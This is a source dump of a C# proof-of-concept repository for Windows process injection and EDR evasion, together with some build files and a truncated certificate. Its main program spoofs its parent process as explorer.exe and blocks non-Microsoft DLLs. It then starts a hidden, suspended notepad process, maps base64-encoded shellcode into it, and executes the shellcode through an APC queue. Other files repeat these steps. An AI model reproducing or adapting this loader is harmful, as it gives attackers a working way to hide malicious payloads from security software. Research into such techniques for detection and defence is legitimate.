protectStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", 121 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory), ref protectParameters); 122 | 123 | if (protectStatus == Native.NTSTATUS.Success) 124 | oldProtect = (Win32.WinNT.MEMORY_PROTECTION)protectParameters[4]; 125 | 126 | Console.WriteLine("NtProtectVirtualMemory"); 127 | Console.WriteLine(" | -> newProtect: {0}", newProtect); 128 | Console.WriteLine(" | -> NTSTATUS: {0}", protectStatus); 129 | Console.WriteLine(" | -> oldProtect: {0}", oldProtect); 130 | 131 | // OPEN THREAD 132 | 133 | // Create OBJECT_ATTRIBUTES & CLIENT_ID ref's 134 | IntPtr threadHandle = IntPtr.Zero; 135 | DInvoke.Data.Native.OBJECT_ATTRIBUTES oa = new DInvoke.Data.Native.OBJECT_ATTRIBUTES(); 136 | //DInvoke.Data.Native.CLIENT_ID ci = new DInvoke.Data.Native.CLIENT_ID(); 137 | Native.CLIENT_ID ci = new Native.CLIENT_ID { UniqueThread = (IntPtr)pi.dwThreadId }; 138 | //ci.UniqueThread = (IntPtr)pi.dwThreadId; 139 | 140 | // Craft an array for the arguments 141 | object[] openThreadArgs = 142 | { 143 | threadHandle, DInvoke.Data.Win32.Kernel32.ThreadAccess.SetContext, oa, ci 144 | }; 145 | var openThreadStatus = (Native.NTSTATUS)Generic.DynamicAPIInvoke("ntdll.dll", "NtOpenThread", 146 | typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtOpenThread), ref openThreadArgs); 147 | 148 | Console.WriteLine("NtOpenThread"); 149 | Console.WriteLine(" | -> threadHandle: {0}", ci.UniqueThread); 150 | Console.WriteLine(" | -> NTSTATUS: {0}", openThreadStatus); 151 | 152 | 153 | // QUEUE USER APC 154 | 155 | // Craft an array for the arguments 156 | object[] funcargs = 157 | { 158 | pi.hThread, baseAddress, null, null, null 159 | }; 160 | 161 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 162 | @"ntdll.dll", 163 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs); 164 | Console.WriteLine("NtQueueApcThread"); 165 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus); 166 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 167 | Console.WriteLine(" | -> baseAddress: {0}", baseAddress); 168 | 169 | 170 | // RESUME THREAD 171 | object[] resumeArgs = 172 | { 173 | pi.hThread, (UInt32)0 174 | }; 175 | 176 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 177 | @"ntdll.dll", 178 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread), 179 | ref resumeArgs); 180 | Console.WriteLine("NtAlertResumeThread"); 181 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus); 182 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 183 | //Thread.Sleep(30000); 184 | } 185 | } 186 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.ComponentModel; 3 | using System.Diagnostics; 4 | using System.Net; 5 | using System.Net.Configuration; 6 | using System.Net; 7 | using System.Reflection; 8 | using System.Runtime.InteropServices; 9 | using System.Threading; 10 | using DInvoke.Data; 11 | using DInvoke.DynamicInvoke; 12 | using Native = DInvoke.Data.Native; 13 | using Win32 = DInvoke.Data.Win32; 14 | 15 | namespace Dinvoke 16 | { 17 | 18 | public class UnhookingPoC 19 | { 20 | 21 | public static bool InitializeProcThreadAttributeList(ref IntPtr lpAttributeList, int dwAttributeCount) 22 | { 23 | var lpSize = IntPtr.Zero; 24 | object[] parameters = { IntPtr.Zero, dwAttributeCount, 0, lpSize }; 25 | 26 | // Returns null attributes 27 | var retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"InitializeProcThreadAttributeList", typeof(DInvoke.DynamicInvoke.Native.InitializeProcThreadAttributeList), ref parameters); 28 | lpSize = (IntPtr)parameters[3]; 29 | 30 | // Returns 2 attributes 31 | lpAttributeList = Marshal.AllocHGlobal(lpSize); 32 | parameters = new object[] { lpAttributeList, dwAttributeCount, 0, lpSize }; 33 | retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"InitializeProcThreadAttributeList", typeof(DInvoke.DynamicInvoke.Native.InitializeProcThreadAttributeList), ref parameters); 34 | 35 | return retVal; 36 | } 37 | public static bool UpdateProcThreadAttribute(ref IntPtr lpAttributeList, IntPtr attribute, ref IntPtr lpValue) 38 | { 39 | object[] parameters = { lpAttributeList, (uint)0, attribute, lpValue, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero }; 40 | var retVal = (bool)Generic.DynamicAPIInvoke("kernel32.dll", "UpdateProcThreadAttribute", typeof(DInvoke.DynamicInvoke.Native.UpdateProcThreadAttribute), ref parameters); 41 | return retVal; 42 | } 43 | public static void DeleteProcThreadAttributeList(ref IntPtr lpAttributeList) 44 | { 45 | object[] parameters = { lpAttributeList }; 46 | Generic.DynamicAPIInvoke("kernel32.dll", "DeleteProcThreadAttributeList", typeof(DInvoke.DynamicInvoke.Native.DeleteProcThreadAttributeList), ref parameters); 47 | } 48 | public static uint NtCreateSection(ref IntPtr hSection, uint desiredAccess, IntPtr objectAttributes, ref ulong maxSize, uint sectionPageProtection, uint allocationAttributes, IntPtr hFile) 49 | { 50 | object[] parameters = { hSection, desiredAccess, objectAttributes, maxSize, sectionPageProtection, allocationAttributes, hFile }; 51 | 52 | var retValue = (uint)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtCreateSection", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtCreateSection), ref parameters); 53 | 54 | hSection = (IntPtr)parameters[0]; 55 | maxSize = (ulong)parameters[3]; 56 | 57 | return retValue; 58 | } 59 | public static bool CreateProcess(string lpApplicationName, string lpCommandLine, uint dwCreationFlags, string lpCurrentDirectory, 60 | ref Win32.WinNT.ProcessThreadsAPI._STARTUPINFOEX lpStartupInfo, out Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION lpProcessInformation) 61 | { 62 | var lpProcessAttributes = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); 63 | var lpThreadAttributes = new DInvoke.Data.Win32.WinBase._SECURITY_ATTRIBUTES(); ; 64 | 65 | lpProcessAttributes.nLength = (uint)Marshal.SizeOf(lpProcessAttributes); 66 | lpThreadAttributes.nLength = (uint)Marshal.SizeOf(lpThreadAttributes); 67 | 68 | object[] parameters = { lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, false, dwCreationFlags, IntPtr.Zero, lpCurrentDirectory, lpStartupInfo, null }; 69 | 70 | var retVal = (bool)Generic.DynamicAPIInvoke("kernel32.dll", "CreateProcessA", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.CreateProcessA), ref parameters); 71 | 72 | lpProcessInformation = (Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION)parameters[9]; 73 | return retVal; 74 | } 75 | public static uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, IntPtr CommitSize, IntPtr SectionOffset, ref ulong ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect) 76 | { 77 | object[] funcargs = { SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Win32Protect }; 78 | 79 | var retValue = (uint)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtMapViewOfSection", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtMapViewOfSection), ref funcargs); 80 | 81 | BaseAddress = (IntPtr)funcargs[2]; 82 | ViewSize = (ulong)funcargs[6]; 83 | 84 | return retValue; 85 | } 86 | 87 | 88 | static void Main(string[] args) 89 | { 90 | // InitializeProcThreadAttributeList 91 | var startupInfoEx = new Win32.WinNT.ProcessThreadsAPI._STARTUPINFOEX(); 92 | startupInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfoEx); 93 | 94 | _ = InitializeProcThreadAttributeList(ref startupInfoEx.lpAttributeList, 2); 95 | 96 | // UpdateProcThreadAttribute 97 | const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; 98 | const int MITIGATION_POLICY = 0x20007; 99 | 100 | var blockDllPtr = Marshal.AllocHGlobal(IntPtr.Size); 101 | Marshal.WriteIntPtr(blockDllPtr, new IntPtr(BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)); 102 | 103 | _ = UpdateProcThreadAttribute( 104 | ref startupInfoEx.lpAttributeList, 105 | (IntPtr)MITIGATION_POLICY, 106 | ref blockDllPtr); 107 | 108 | // Parent PID Spoofing 109 | const int PARENT_PROCESS = 0x00020000; 110 | 111 | var ppidPtr = Marshal.AllocHGlobal(IntPtr.Size); 112 | var hParent = Process.GetProcessesByName("explorer")[0].Handle; 113 | Marshal.WriteIntPtr(ppidPtr, hParent); 114 | 115 | _ = UpdateProcThreadAttribute( 116 | ref startupInfoEx.lpAttributeList, 117 | (IntPtr)PARENT_PROCESS, 118 | ref ppidPtr); 119 | 120 | // Create Process 121 | const uint CREATE_SUSPENDED = 0x00000004; 122 | const uint DETACHED_PROCESS = 0x00000008; 123 | const uint CREATE_NO_WINDOW = 0x08000000; 124 | const uint EXTENDED_STARTUP_INFO_PRESENT = 0x00080000; 125 | 126 | var pi = new Win32.WinNT.ProcessThreadsAPI._PROCESS_INFORMATION(); 127 | _ = CreateProcess( 128 | null, 129 | "notepad", 130 | CREATE_SUSPENDED | CREATE_NO_WINDOW | DETACHED_PROCESS | EXTENDED_STARTUP_INFO_PRESENT, 131 | Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), 132 | ref startupInfoEx, 133 | out pi); 134 | 135 | Console.WriteLine("CreateProcess"); 136 | Console.WriteLine(" | -> NTSTATUS: {0}", pi); 137 | Console.WriteLine(" | -> hParent: {0}", hParent.ToInt64()); 138 | //=============================================================== 139 | 140 | // [+] DELETE POINTERS ================================================================================== 141 | DeleteProcThreadAttributeList(ref startupInfoEx.lpAttributeList); 142 | Marshal.FreeHGlobal(ppidPtr); 143 | Marshal.FreeHGlobal(blockDllPtr); 144 | 145 | //[+] NtCreateSection ================================================================================== 146 | var shellcodeRaw = 147 | "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA"; 148 | var shellcodeBytes = Convert.FromBase64String(shellcodeRaw); 149 | const uint GENERIC_ALL = 0x10000000; 150 | const uint PAGE_EXECUTE_READWRITE = 0x40; 151 | var hLocalSection = IntPtr.Zero; 152 | var maxSize = (ulong)shellcodeBytes.Length; 153 | 154 | _ = NtCreateSection( 155 | ref hLocalSection, 156 | GENERIC_ALL, 157 | IntPtr.Zero, 158 | ref maxSize, 159 | PAGE_EXECUTE_READWRITE, 160 | DInvoke.Data.Win32.WinNT.SEC_COMMIT, 161 | IntPtr.Zero); 162 | 163 | const uint PAGE_READWRITE = 0x04; 164 | 165 | var self = Process.GetCurrentProcess(); 166 | var hLocalBaseAddress = IntPtr.Zero; 167 | 168 | _ = NtMapViewOfSection( 169 | hLocalSection, 170 | self.Handle, 171 | ref hLocalBaseAddress, 172 | IntPtr.Zero, 173 | IntPtr.Zero, 174 | IntPtr.Zero, 175 | ref maxSize, 176 | 2, 177 | 0, 178 | PAGE_READWRITE); 179 | 180 | // [+] NtMapViewOfSection ================================================================================== 181 | const uint PAGE_EXECUTE_READ = 0x20; 182 | 183 | var hRemoteBaseAddress = IntPtr.Zero; 184 | 185 | _ = NtMapViewOfSection( 186 | hLocalSection, 187 | pi.hProcess, 188 | ref hRemoteBaseAddress, 189 | IntPtr.Zero, 190 | IntPtr.Zero, 191 | IntPtr.Zero, 192 | ref maxSize, 193 | 2, 194 | 0, 195 | PAGE_EXECUTE_READ); 196 | 197 | 198 | // [+] WRITE MEMORY 199 | Marshal.Copy(shellcodeBytes, 0, hLocalBaseAddress, shellcodeBytes.Length); 200 | 201 | // [+] QUEUE USER APC 202 | 203 | // Craft an array for the arguments 204 | object[] funcargs = 205 | { 206 | pi.hThread, hRemoteBaseAddress, null, null, null 207 | }; 208 | 209 | DInvoke.Data.Native.NTSTATUS queueStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 210 | @"ntdll.dll", 211 | @"NtQueueApcThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtQueueApcThread), ref funcargs); 212 | Console.WriteLine("NtQueueApcThread"); 213 | Console.WriteLine(" | -> NTSTATUS: {0}", queueStatus); 214 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 215 | Console.WriteLine(" | -> baseAddress: {0}", hRemoteBaseAddress); 216 | 217 | 218 | // RESUME THREAD 219 | object[] resumeArgs = 220 | { 221 | pi.hThread, (UInt32)0 222 | }; 223 | 224 | DInvoke.Data.Native.NTSTATUS resumeStatus = (DInvoke.Data.Native.NTSTATUS)Generic.DynamicAPIInvoke( 225 | @"ntdll.dll", 226 | @"NtAlertResumeThread", typeof(DInvoke.DynamicInvoke.Native.DELEGATES.NtAlertResumeThread), 227 | ref resumeArgs); 228 | Console.WriteLine("NtAlertResumeThread"); 229 | Console.WriteLine(" | -> NTSTATUS: {0}", resumeStatus); 230 | Console.WriteLine(" | -> threadHandle: {0}", pi.hThread); 231 | Console.WriteLine(); 232 | Console.WriteLine("[*] Press Enter to exit..."); 233 | Console.ReadLine(); 234 | //Thread.Sleep(30000); 235 | } 236 | } 237 | } -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DInvoke")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DInvoke")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("b77fdab5-207c-4cdb-b1aa-348505c54229")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/SharedUtilities/Utilities.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Cryptography.X509Certificates; 3 | 4 | namespace DInvoke.Utilities 5 | { 6 | class Utilities 7 | { 8 | /// 9 | /// Checks that a file is signed and has a valid signature. 10 | /// 11 | /// Path of file to check. 12 | /// 13 | public static bool FileHasValidSignature(string FilePath) 14 | { 15 | X509Certificate2 FileCertificate; 16 | try 17 | { 18 | X509Certificate signer = X509Certificate.CreateFromSignedFile(FilePath); 19 | FileCertificate = new X509Certificate2(signer); 20 | } 21 | catch 22 | { 23 | return false; 24 | } 25 | 26 | X509Chain CertificateChain = new X509Chain(); 27 | CertificateChain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain; 28 | CertificateChain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; 29 | CertificateChain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag; 30 | 31 | return CertificateChain.Build(FileCertificate); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/nuget.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/nuget.exe -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/obj/Debug/DInvoke.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- 1 | MBRSC -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/obj/Debug/DInvoke.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 824d499e652354f738f0d03f938e7654ae3c75be 2 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/obj/Debug/DInvoke.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache 2 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache 3 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.pdb 4 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.pdb 5 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\bin\Debug\DInvoke.exe 6 | C:\Users\61455\Desktop\DInvoke-dev\DInvoke\DInvoke\obj\Debug\DInvoke.exe 7 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache 8 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache 9 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.pdb 10 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.pdb 11 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe.config 12 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\bin\Debug\DInvoke.exe 13 | C:\Users\61455\Desktop\DInvoke-backup\DInvoke\DInvoke\obj\Debug\DInvoke.exe 14 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.csproj.AssemblyReference.cache 15 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.csproj.CoreCompileInputs.cache 16 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.exe 17 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\obj\Debug\DInvoke.pdb 18 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\bin\Debug\DInvoke.exe.config 19 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\bin\Debug\DInvoke.exe 20 | C:\Users\61455\Desktop\CSharp-Projects\UnhookingPoC\DInvoke\bin\Debug\DInvoke.pdb 21 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/obj/Debug/DInvoke.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Debug/DInvoke.exe -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/obj/Debug/DInvoke.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Debug/DInvoke.pdb -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CryptoBreach/UnhookPoC/0b72bb33668d3a1f0824545629493bcd99980059/UnhookingPoC/DInvoke/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/overloadMapping.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using System.Diagnostics; 4 | 5 | using DInvoke.DynamicInvoke; 6 | 7 | namespace ConsoleApp1 8 | { 9 | class Program 10 | { 11 | static void Mapping(string[] args) 12 | { 13 | var si = new Win32.STARTUPINFOEX(); 14 | si.StartupInfo.cb = (uint)Marshal.SizeOf(si); 15 | si.StartupInfo.dwFlags = 0x00000001; 16 | 17 | var lpValue = Marshal.AllocHGlobal(IntPtr.Size); 18 | 19 | try 20 | { 21 | var funcParams = new object[] { 22 | IntPtr.Zero, 23 | 2, 24 | 0, 25 | IntPtr.Zero 26 | }; 27 | 28 | Generic.DynamicAPIInvoke( 29 | "kernel32.dll", 30 | "InitializeProcThreadAttributeList", 31 | typeof(InitializeProcThreadAttributeList), 32 | ref funcParams, 33 | true); 34 | 35 | var lpSize = (IntPtr)funcParams[3]; 36 | si.lpAttributeList = Marshal.AllocHGlobal(lpSize); 37 | 38 | funcParams[0] = si.lpAttributeList; 39 | 40 | Generic.DynamicAPIInvoke( 41 | "kernel32.dll", 42 | "InitializeProcThreadAttributeList", 43 | typeof(InitializeProcThreadAttributeList), 44 | ref funcParams, 45 | true); 46 | 47 | // BlockDLLs 48 | if (Is64Bit) 49 | { 50 | Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)); 51 | } 52 | else 53 | { 54 | Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON))); 55 | } 56 | 57 | funcParams = new object[] 58 | { 59 | si.lpAttributeList, 60 | (uint)0, 61 | (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY, 62 | lpValue, 63 | (IntPtr)IntPtr.Size, 64 | IntPtr.Zero, 65 | IntPtr.Zero 66 | }; 67 | 68 | Generic.DynamicAPIInvoke( 69 | "kernel32.dll", 70 | "UpdateProcThreadAttribute", 71 | typeof(UpdateProcThreadAttribute), 72 | ref funcParams, 73 | true); 74 | 75 | // PPID Spoof 76 | var hParent = Process.GetProcessesByName("explorer")[0].Handle; 77 | lpValue = Marshal.AllocHGlobal(IntPtr.Size); 78 | Marshal.WriteIntPtr(lpValue, hParent); 79 | 80 | // Start Process 81 | funcParams = new object[] 82 | { 83 | si.lpAttributeList, 84 | (uint)0, 85 | (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS, 86 | lpValue, 87 | (IntPtr)IntPtr.Size, 88 | IntPtr.Zero, 89 | IntPtr.Zero 90 | }; 91 | 92 | Generic.DynamicAPIInvoke( 93 | "kernel32.dll", 94 | "UpdateProcThreadAttribute", 95 | typeof(UpdateProcThreadAttribute), 96 | ref funcParams, 97 | true); 98 | 99 | var pa = new Win32.SECURITY_ATTRIBUTES(); 100 | var ta = new Win32.SECURITY_ATTRIBUTES(); 101 | pa.nLength = Marshal.SizeOf(pa); 102 | ta.nLength = Marshal.SizeOf(ta); 103 | 104 | funcParams = new object[] 105 | { 106 | null, 107 | "notepad", 108 | pa, 109 | ta, 110 | false, 111 | Win32.CreationFlags.EXTENDED_STARTUPINFO_PRESENT, 112 | IntPtr.Zero, 113 | "C:\\Windows\\System32", 114 | si, 115 | null 116 | }; 117 | 118 | Generic.DynamicAPIInvoke( 119 | "kernel32.dll", 120 | "CreateProcessA", 121 | typeof(CreateProcess), 122 | ref funcParams, 123 | true); 124 | 125 | var pi = (Win32.PROCESS_INFORMATION)funcParams[9]; 126 | 127 | if (pi.hProcess != IntPtr.Zero) 128 | { 129 | Console.WriteLine($"Process ID: {pi.dwProcessId}"); 130 | } 131 | 132 | } 133 | catch (Exception e) 134 | { 135 | Console.Error.WriteLine(e.Message); 136 | } 137 | finally 138 | { 139 | // Clean up 140 | var funcParams = new object[] 141 | { 142 | si.lpAttributeList 143 | }; 144 | 145 | Generic.DynamicAPIInvoke( 146 | "kernel32.dll", 147 | "DeleteProcThreadAttributeList", 148 | typeof(DeleteProcThreadAttributeList), 149 | ref funcParams, 150 | true); 151 | 152 | Marshal.FreeHGlobal(si.lpAttributeList); 153 | Marshal.FreeHGlobal(lpValue); 154 | } 155 | 156 | } 157 | 158 | static bool Is64Bit 159 | { 160 | get 161 | { 162 | return IntPtr.Size == 8; 163 | } 164 | } 165 | 166 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 167 | delegate bool InitializeProcThreadAttributeList( 168 | IntPtr lpAttributeList, 169 | int dwAttributeCount, 170 | int dwFlags, 171 | ref IntPtr lpSize); 172 | 173 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 174 | delegate bool UpdateProcThreadAttribute( 175 | IntPtr lpAttributeList, 176 | uint dwFlags, 177 | IntPtr Attribute, 178 | IntPtr lpValue, 179 | IntPtr cbSize, 180 | IntPtr lpPreviousValue, 181 | IntPtr lpReturnSize); 182 | 183 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 184 | delegate bool CreateProcess( 185 | string lpApplicationName, 186 | string lpCommandLine, 187 | ref Win32.SECURITY_ATTRIBUTES lpProcessAttributes, 188 | ref Win32.SECURITY_ATTRIBUTES lpThreadAttributes, 189 | bool bInheritHandles, 190 | Win32.CreationFlags dwCreationFlags, 191 | IntPtr lpEnvironment, 192 | string lpCurrentDirectory, 193 | ref Win32.STARTUPINFOEX lpStartupInfo, 194 | out Win32.PROCESS_INFORMATION lpProcessInformation); 195 | 196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 197 | delegate bool DeleteProcThreadAttributeList( 198 | IntPtr lpAttributeList); 199 | } 200 | 201 | class Win32 202 | { 203 | [StructLayout(LayoutKind.Sequential)] 204 | public struct PROCESS_INFORMATION 205 | { 206 | public IntPtr hProcess; 207 | public IntPtr hThread; 208 | public int dwProcessId; 209 | public int dwThreadId; 210 | } 211 | 212 | [StructLayout(LayoutKind.Sequential)] 213 | public struct STARTUPINFO 214 | { 215 | public uint cb; 216 | public IntPtr lpReserved; 217 | public IntPtr lpDesktop; 218 | public IntPtr lpTitle; 219 | public uint dwX; 220 | public uint dwY; 221 | public uint dwXSize; 222 | public uint dwYSize; 223 | public uint dwXCountChars; 224 | public uint dwYCountChars; 225 | public uint dwFillAttributes; 226 | public uint dwFlags; 227 | public ushort wShowWindow; 228 | public ushort cbReserved; 229 | public IntPtr lpReserved2; 230 | public IntPtr hStdInput; 231 | public IntPtr hStdOutput; 232 | public IntPtr hStdErr; 233 | } 234 | 235 | [StructLayout(LayoutKind.Sequential)] 236 | public struct STARTUPINFOEX 237 | { 238 | public STARTUPINFO StartupInfo; 239 | public IntPtr lpAttributeList; 240 | } 241 | 242 | [StructLayout(LayoutKind.Sequential)] 243 | public struct SECURITY_ATTRIBUTES 244 | { 245 | public int nLength; 246 | public IntPtr lpSecurityDescriptor; 247 | public int bInheritHandle; 248 | } 249 | 250 | [Flags] 251 | public enum ProcThreadAttribute : int 252 | { 253 | MITIGATION_POLICY = 0x20007, 254 | PARENT_PROCESS = 0x00020000 255 | } 256 | 257 | [Flags] 258 | public enum BinarySignaturePolicy : ulong 259 | { 260 | BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000, 261 | } 262 | 263 | [Flags] 264 | public enum CreationFlags : uint 265 | { 266 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000 267 | } 268 | } 269 | } -------------------------------------------------------------------------------- /https-localhost.cer: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIEDTCCAnWgAwIBAgIQa2/R1cJw4MssudU6wDGRETANBgkqhkiG9w0BAQsFADBj 3 | MR4wHAYDVQQKExVta2NlcnQgZGV2ZWxvcG1lbnQgQ0ExHDAaBgNVBAsME3Jvb3RA 4 | aXAtMTcyLTI2LTEtODExIzAhBgNVBAMMGm1rY2VydCByb290QGlwLTE3Mi0yNi0x 5 | LTgxMB4XDTIxMTIxNjA0MTY1MVoXDTI0MDMxNjA0MTY1MVowRzEnMCUGA1UEChMe 6 | bWtjZXJ0IGRldmVsb3BtZW50IGNlcnRpZmljYXRlMRwwGgYDVQQLDBNyb290QGlw 